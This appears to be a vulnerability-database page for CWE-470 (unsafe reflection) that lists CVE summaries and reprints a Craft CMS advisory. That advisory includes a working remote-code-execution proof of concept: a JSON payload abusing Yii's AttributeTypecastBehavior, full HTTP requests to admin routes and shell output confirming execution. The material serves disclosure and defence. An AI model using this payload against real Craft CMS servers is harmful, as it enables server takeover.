Common Weakness Enumeration
CWE-470
AllowedUse of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Abstraction: Base · Status: Draft
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
156 vulnerabilities reference this CWE, most recent first.
CVE-2023-6943 (GCVE-0-2023-6943)
Vulnerability from cvelistv5 – Published: 2024-01-30 09:09 – Updated: 2025-09-19 02:13
VLAI
EPSS
VEX
Summary
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Mitsubishi Electric Corporation EZSocket versions 3.0 to 5.92, GT Designer3 Version1(GOT1000) versions 1.325P and prior, GT Designer3 Version1(GOT2000) versions 1.320J and prior, GX Works2 versions 1.11M to 1.626C, GX Works3 versions 1.106L and prior, MELSOFT Navigator versions 1.04E to 2.102G, MT Works2 versions 1.190Y and prior, MX Component versions 4.00A to 5.007H and MX OPC Server DA/UA all versions allows a remote unauthenticated attacker to execute a malicious code by RPC with a path to a malicious library while connected to the products.
Severity
9.8 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-02-06 05:00 UTC
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.mitsubishielectric.com/en/psirt/vulne… | vendor-advisory |
| https://jvn.jp/vu/JVNVU95103362 | government-resource |
| https://www.cisa.gov/news-events/ics-advisories/i… | government-resource |
Impacted products
9 products
| Vendor | Product | Version | |
|---|---|---|---|
| Mitsubishi Electric Corporation | EZSocket |
Affected:
3.0 to 5.92
|
|
| Mitsubishi Electric Corporation | GT Designer3 Version1(GOT1000) |
Affected:
1.325P and prior
|
|
| Mitsubishi Electric Corporation | GT Designer3 Version1(GOT2000) |
Affected:
1.320J and prior
|
|
| Mitsubishi Electric Corporation | GX Works2 |
Affected:
1.11M to 1.626C
|
|
| Mitsubishi Electric Corporation | GX Works3 |
Affected:
1.106L and prior
|
|
| Mitsubishi Electric Corporation | MELSOFT Navigator |
Affected:
1.04E to 2.102G
|
|
| Mitsubishi Electric Corporation | MT Works2 |
Affected:
1.190Y and prior
|
|
| Mitsubishi Electric Corporation | MX Component |
Affected:
4.00A to 5.007H
|
|
| Mitsubishi Electric Corporation | MX OPC Server DA/UA |
Affected:
all versions
|
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CVE-2023-0460 (GCVE-0-2023-0460)
Vulnerability from cvelistv5 – Published: 2023-03-01 16:50 – Updated: 2025-03-07 21:33
VLAI
EPSS
VEX
Title
Remote code execution in YouTube Android Player API SDK
Summary
The YouTube Embedded 1.2 SDK binds to a service within the YouTube Main App. After binding, a remote context is created with the flags Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY. This allows the client app to remotely load code from YouTube Main App by retrieving the Main App’s ClassLoader. A potential vulnerability in the binding logic used by the client SDK where the SDK ends up calling bindService() on a malicious app rather than YT Main App. This creates a vulnerability where the SDK can load the malicious app’s ClassLoader instead, allowing the malicious app to load arbitrary code into the calling app whenever the embedded SDK is invoked.
In order to trigger this vulnerability, an attacker must masquerade the Youtube app and install it on a device, have a second app that uses the Embedded player and typically distribute both to the victim outside of the Play Store.
Severity
5.1 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-03-07 21:32 UTC
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| YouTube Android Player API SDK |
Affected:
1.2 , ≤ 1.2.2
(custom)
|
Date Public
2023-03-01 00:00
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CVE-2022-41853 (GCVE-0-2022-41853)
Vulnerability from cvelistv5 – Published: 2022-10-06 17:14 – Updated: 2025-04-21 13:48
VLAI
EPSS
VEX
Title
Remote code execution in HyperSQL DataBase
Summary
Those using java.sql.Statement or java.sql.PreparedStatement in hsqldb (HyperSQL DataBase) to process untrusted input may be vulnerable to a remote code execution attack. By default it is allowed to call any static method of any Java class in the classpath resulting in code execution. The issue can be prevented by updating to 2.7.1 or by setting the system property "hsqldb.method_class_names" to classes which are allowed to be called. For example, System.setProperty("hsqldb.method_class_names", "abc") or Java argument -Dhsqldb.method_class_names="abc" can be used. From version 2.7.1 all classes by default are not accessible except those in java.lang.Math and need to be manually enabled.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-04-21 13:37 UTC
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
4 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| HyperSQL DataBase | hsqldb |
Affected:
unspecified , < 2.7.1
(custom)
|
Date Public
2021-07-26 00:00
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CVE-2022-23744 (GCVE-0-2022-23744)
Vulnerability from cvelistv5 – Published: 2022-07-07 15:51 – Updated: 2024-08-03 03:51
VLAI
EPSS
VEX
Summary
Check Point Endpoint before version E86.50 failed to protect against specific registry change which allowed to disable endpoint protection by a local administrator.
Severity
No CVSS data available.
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://supportcenter.checkpoint.com/supportcente… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Enterprise Endpoint Security Windows Clients. |
Affected:
before E86.50
|
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CVE-2022-4993 (GCVE-0-2022-4993)
Vulnerability from cvelistv5 – Published: 2026-08-13 16:27 – Updated: 2026-08-15 12:13
VLAI
EPSS
VEX
Title
HTML::FormHandler versions through 0.40068 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template
Summary
HTML::FormHandler versions through 0.40068 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template.
add_error hands its first argument to the language handle as the Locale::Maketext message key, and the default handle's lexicon sets `_AUTO`, so a string that is not a lexicon entry is compiled as a bracket notation template instead of being looked up. In a bracket group the first token names a method called on the language handle and the remaining tokens are its arguments.
Three kinds of text the library did not author reach that position. _apply_actions installs a `$SIG{__WARN__}` handler that stores the warning text in `$error_message`, and a captured warning survives a successful action, so a field carrying a numeric transform turns `Argument "[sprintf,%50000000d,0]" isn't numeric` into the template; a warning quotes the submitted value verbatim, so the group is well formed and dispatches. `$error_message ||= $tobj->validate($new_value)` takes a type constraint's own failure message, which renders the rejected value through a partial dumper in bracket and comma form (Devel::PartialDump when Moose can load it, Type::Tiny's own dumper always), so a field with `apply => [ Str ]` given a parameter sent more than once, which arrives as an array, gets `Reference ["a","b"] did not pass type constraint "Str"` as its template, from a request that carries no bracket character of its own. A coercion or transform exception reaches it the same way. Beyond those, a validator whose message contains the field value puts that value in the template directly, and add_error replaces the message list with the contents of an arrayref first argument (`@message = @{$message[0]} if ref $message[0] eq 'ARRAY'`), so a value arriving as an array fills the argument slots from the same request as well.
A malformed group such as `[0]` makes the compile croak, and HTML::FormHandler::I18N::maketext and add_error each re-raise that as a die, so process() throws. A well formed group naming sprintf reaches CORE::sprintf with an attacker chosen field width. Any caller that applies a type constraint or a transform to an untrusted field, or whose validator passes an untrusted field value to add_error, can be made to throw an unhandled exception out of process(), or to allocate an arbitrary amount of memory in one request, and an application whose language handle subclass defines side effecting public methods makes those callable with attacker chosen arguments. The dumped type constraint message is bounded to the exception, because both dumpers quote non-numeric elements so the method slot is never an attacker chosen name. The built-in messages pass fixed templates with the value in an argument slot, where it stays inert, and the built-in field types attach explicit message callbacks, so neither is affected.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 11:14 UTC
CWE
Assigner
References
6 references
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CVE-2020-7857 (GCVE-0-2020-7857)
Vulnerability from cvelistv5 – Published: 2021-04-20 19:56 – Updated: 2024-08-04 09:41
VLAI
EPSS
VEX
Summary
A vulnerability of XPlatform could allow an unauthenticated attacker to execute arbitrary command. This vulnerability exists due to insufficient validation of improper classes. This issue affects: Tobesoft XPlatform versions prior to 9.2.2.280.
Severity
7.5 (High)
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.boho.or.kr/krcert/secNoticeView.do?bu… | x_refsource_MISC |
Impacted products
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CVE-2019-10174 (GCVE-0-2019-10174)
Vulnerability from cvelistv5 – Published: 2019-11-25 10:26 – Updated: 2024-08-04 22:10
VLAI
EPSS
VEX
Summary
A vulnerability was found in Infinispan such that the invokeAccessibly method from the public class ReflectionUtil allows any application class to invoke private methods in any class with Infinispan's privileges. The attacker can use reflection to introduce new, malicious behavior into the application.
Severity
7.5 (High)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_CONFIRM |
| https://access.redhat.com/errata/RHSA-2020:0481 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2020:0727 | vendor-advisoryx_refsource_REDHAT |
| https://security.netapp.com/advisory/ntap-2022021… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| [UNKNOWN] | infinispan |
Affected:
10.0.0.Final
Affected: 9.4.17.Final |
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CVE-2019-3834 (GCVE-0-2019-3834)
Vulnerability from cvelistv5 – Published: 2019-10-03 13:31 – Updated: 2024-08-04 19:19
VLAI
EPSS
VEX
Summary
It was found that the fix for CVE-2014-0114 had been reverted in JBoss Operations Network 3 (JON). This flaw allows attackers to manipulate ClassLoader properties on a vulnerable server. Exploits that have been published rely on ClassLoader properties that are exposed such as those in JON 3. Additional information can be found in the Red Hat Knowledgebase article: https://access.redhat.com/site/solutions/869353. Note that while multiple products released patches for the original CVE-2014-0114 flaw, the reversion described by this CVE-2019-3834 flaw only occurred in JON 3.
Severity
5.6 (Medium)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_CONFIRM |
Impacted products
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CVE-2018-25239 (GCVE-0-2018-25239)
Vulnerability from cvelistv5 – Published: 2026-04-04 13:51 – Updated: 2026-04-06 16:42
VLAI
EPSS
VEX
Title
Smart VPN 1.1.3.0 Denial of Service via Search
Summary
Smart VPN 1.1.3.0 contains a denial of service vulnerability that allows local attackers to crash the application by submitting oversized input through the search interface. Attackers can paste a buffer of 2100 characters into the top right search bar to trigger an unhandled exception that crashes the application.
Severity
6.2 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-06 16:42 UTC
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46272 | exploit |
| https://www.microsoft.com/store/productId/9NH1G93D4HKR | product |
| https://www.vulncheck.com/advisories/smart-vpn-de… | third-party-advisory |
Date Public
2018-01-28 00:00
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GHSA-255J-QW47-WJH5
Vulnerability from github – Published: 2026-01-05 18:50 – Updated: 2026-01-06 15:52
VLAI
Summary
Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior
Details
Note that attackers must have administrator access to the Craft Control Panel for this to work.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
Resources:
https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef
https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7
https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04
Summary
This was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (5.6.0) version of Craft CMS.
Leveraging a legitimate but maliciously crafted Yii Behavior class, it’s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted Behavior is attached to a Yii Component, and an event is also fired on the tainted Component.
Details
This vulnerability is inspired by CVE-2024-4990 but differs because a legitimate Yii Behavior class is used to abuse the magic __set() and __get() methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for CVE-2024-4990 and the related CVE-2024-58136.
Using the as <behavior> syntax in JSON POST input, it’s possible to attach Behavior classes to Yii Components, which was the crux of the vulnerability identified in CVE-2024-4990. Fixes for that vulnerability and the related CVE-2024-58136 ensured that only classes of type Behavior could be attached to a Component. Craft CMS also implemented additional logic to prevent arbitrary Behavior classes from being attached to the vulnerable Component.
A new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted Behavior class, namely the yii\behaviors\AttributeTypecastBehavior. Attaching a Behavior of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted Component.
Using a wildcard event listener (specified as on * in JSON input) allows the attacker to catch any event called on the tainted Component and redirect the flow of control to call self::beforeSave of the AttributeTypecastBehavior, triggering the attacker-defined callable and resulting in RCE.
See the commented payload below:
{
"as xxx": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] // Attacker defined callable
},
"typecastBeforeSave": "touch /tmp/touch" // Argument for the callable
}
]
},
"on *": "self::beforeSave" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above
}
This was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected: * /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings * /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview
PoC
- Install Craft CMS via Composer:
$ composer create-project "craftcms/craft" app
- Use the built-in server to launch Craft CMS:
$ ./craft serve 127.0.0.1:9090
- The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes:
/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings
POST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings&v=1763562868146 HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:9090/admin/settings/categories/new
Content-Type: application/json
X-Requested-With: XMLHttpRequest
X-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb
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Content-Length: 1787
Origin: http://127.0.0.1:9090
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"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"]
},
"typecastBeforeSave": "touch /tmp/touch111"
}
]
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"on *": "self::beforeSave"
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/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview
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{"fieldLayoutConfig":{
"as xxx": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"]
},
"typecastBeforeSave": "touch /tmp/touch222"
}
]
},
"on *": "self::beforeSave"
},"cardElements":[],"showThumb":null,"thumbAlignment":"end"}
- Check the filesystem to confirm the creation of the two files in
/tmpand hence confirm RCE:
$ ls -la /tmp/
...
-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch111
-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch222
Impact
An attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.20"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.16"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68455"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T18:50:14Z",
"nvd_published_at": "2026-01-05T22:15:52Z",
"severity": "HIGH"
},
"details": "Note that attackers must have administrator access to the Craft Control Panel for this to work.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nResources:\n\nhttps://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef\n\nhttps://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7\n\nhttps://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593\n\nhttps://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04\n\n### Summary\n\nThis was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (`5.6.0`) version of Craft CMS.\n\nLeveraging a legitimate but maliciously crafted Yii `Behavior` class, it\u2019s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted `Behavior` is attached to a Yii `Component`, and an event is also fired on the tainted `Component`.\n\n### Details\nThis vulnerability is inspired by `CVE-2024-4990` but differs because a legitimate Yii `Behavior` class is used to abuse the magic `__set()` and `__get()` methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for `CVE-2024-4990` and the related `CVE-2024-58136`.\n\nUsing the `as \u003cbehavior\u003e` syntax in JSON POST input, it\u2019s possible to [attach](https://www.yiiframework.com/doc/guide/2.0/en/concept-behaviors#attaching-behaviors) `Behavior` classes to Yii `Components`, which was the crux of the vulnerability identified in `CVE-2024-4990`. Fixes for that vulnerability and the related `CVE-2024-58136` ensured that only classes of type `Behavior` could be attached to a `Component`. Craft CMS also implemented additional logic to prevent arbitrary `Behavior` classes from being attached to the vulnerable `Component`.\n\nA new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted `Behavior` class, namely the `yii\\behaviors\\AttributeTypecastBehavior`. Attaching a `Behavior` of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted `Component`.\n\nUsing a [wildcard](https://www.yiiframework.com/doc/guide/2.0/en/concept-events#wildcard-events) event listener (specified as `on *` in JSON input) allows the attacker to catch any event called on the tainted `Component` and redirect the flow of control to call `self::beforeSave` of the `AttributeTypecastBehavior`, triggering the attacker-defined callable and resulting in RCE.\n\nSee the commented payload below:\n\n```json\n{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"] // Attacker defined callable\n },\n \"typecastBeforeSave\": \"touch /tmp/touch\" // Argument for the callable\n }\n ]\n },\n \"on *\": \"self::beforeSave\" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above\n}\n```\n\nThis was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected:\n* /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings\n* /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview\n\n### PoC\n* Install Craft CMS via Composer:\n```\n$ composer create-project \"craftcms/craft\" app\n```\n* Use the built-in server to launch Craft CMS:\n```\n$ ./craft serve 127.0.0.1:9090\n```\n* The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes:\n\n**/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings**\n\n```\nPOST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings\u0026v=1763562868146 HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: Mozilla/5.0 (X11; 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Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"uid\":\"c295eb34-dd4c-42ac-8d07-1b8c872a126d\",\"layoutConfig\":{\"uid\":\"08ef66f3-f69e-495b-882f-56834efab200\",\"tabs\":[{\"name\":\"Content\",\"uid\":\"6f1efe1c-2de5-4783-ab39-7ff9149a9c90\",\"userCondition\":null,\"elementCondition\":null,\"elements\":[{\"type\":\"craft\\\\fieldlayoutelements\\\\TitleField\",\"inputType\":null,\"autocomplete\":false,\"class\":null,\"size\":null,\"name\":null,\"autocorrect\":true,\"autocapitalize\":true,\"disabled\":false,\"readonly\":false,\"title\":null,\"placeholder\":null,\"step\":null,\"min\":null,\"max\":null,\"requirable\":false,\"id\":null,\"containerAttributes\":[],\"inputContainerAttributes\":[],\"labelAttributes\":[],\"orientation\":null,\"label\":null,\"instructions\":null,\"tip\":null,\"warning\":null,\"providesThumbs\":false,\"includeInCards\":false,\"width\":100,\"dateAdded\":\"2025-11-19T06:33:18-08:00\",\"uid\":\"bae4dcd7-635b-41fe-96a3-4d3d69e91969\",\"userCondition\":null,\"elementCondition\":null},{\"type\":\"craft\\\\fieldlayoutelements\\\\CustomField\",\"handle\":null,\"label\":null,\"instructions\":null,\"tip\":null,\"warning\":null,\"required\":false,\"providesThumbs\":false,\"includeInCards\":false,\"width\":100,\"dateAdded\":null,\"uid\":\"c295eb34-dd4c-42ac-8d07-1b8c872a126d\",\"userCondition\":null,\"elementCondition\":null,\"fieldUid\":\"12ac060b-8c40-48a6-b70f-94361245b149\",\"editCondition\":null}]}],\"generatedFields\":[],\"cardView\":[],\"cardThumbAlignment\":\"end\",\"type\":\"craft\\\\elements\\\\Category\"},\"elementType\":\"craft\\\\elements\\\\Category\",\"config\":{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"]\n },\n \"typecastBeforeSave\": \"touch /tmp/touch111\"\n }\n ]\n },\n \"on *\": \"self::beforeSave\"\n},\"settingsNamespace\":null,\"settings\":null}\n```\n\n**/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview**\n\n```\nPOST /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview\u0026v=1763562868148 HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://127.0.0.1:9090/admin/settings/categories/new\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nX-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb\nX-Registered-Js-Files: \nX-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxz_poluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagy_Tfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZG_z3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f3_3LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK_5q1m0B\nContent-Length: 424\nOrigin: http://127.0.0.1:9090\nConnection: keep-alive\nCookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"fieldLayoutConfig\":{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"]\n },\n \"typecastBeforeSave\": \"touch /tmp/touch222\"\n }\n ]\n },\n \"on *\": \"self::beforeSave\"\n},\"cardElements\":[],\"showThumb\":null,\"thumbAlignment\":\"end\"}\n```\n* Check the filesystem to confirm the creation of the two files in `/tmp` and hence confirm RCE:\n```\n$ ls -la /tmp/\n...\n-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch111\n-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch222\n```\n\n### Impact\n\nAn attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.",
"id": "GHSA-255j-qw47-wjh5",
"modified": "2026-01-06T15:52:18Z",
"published": "2026-01-05T18:50:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68455"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior"
}
Mitigation
Architecture and Design
Refactor your code to avoid using reflection.
Mitigation
Architecture and Design
Do not use user-controlled inputs to select and load classes or code.
Mitigation
Implementation
Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
CAPEC-138: Reflection Injection
An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.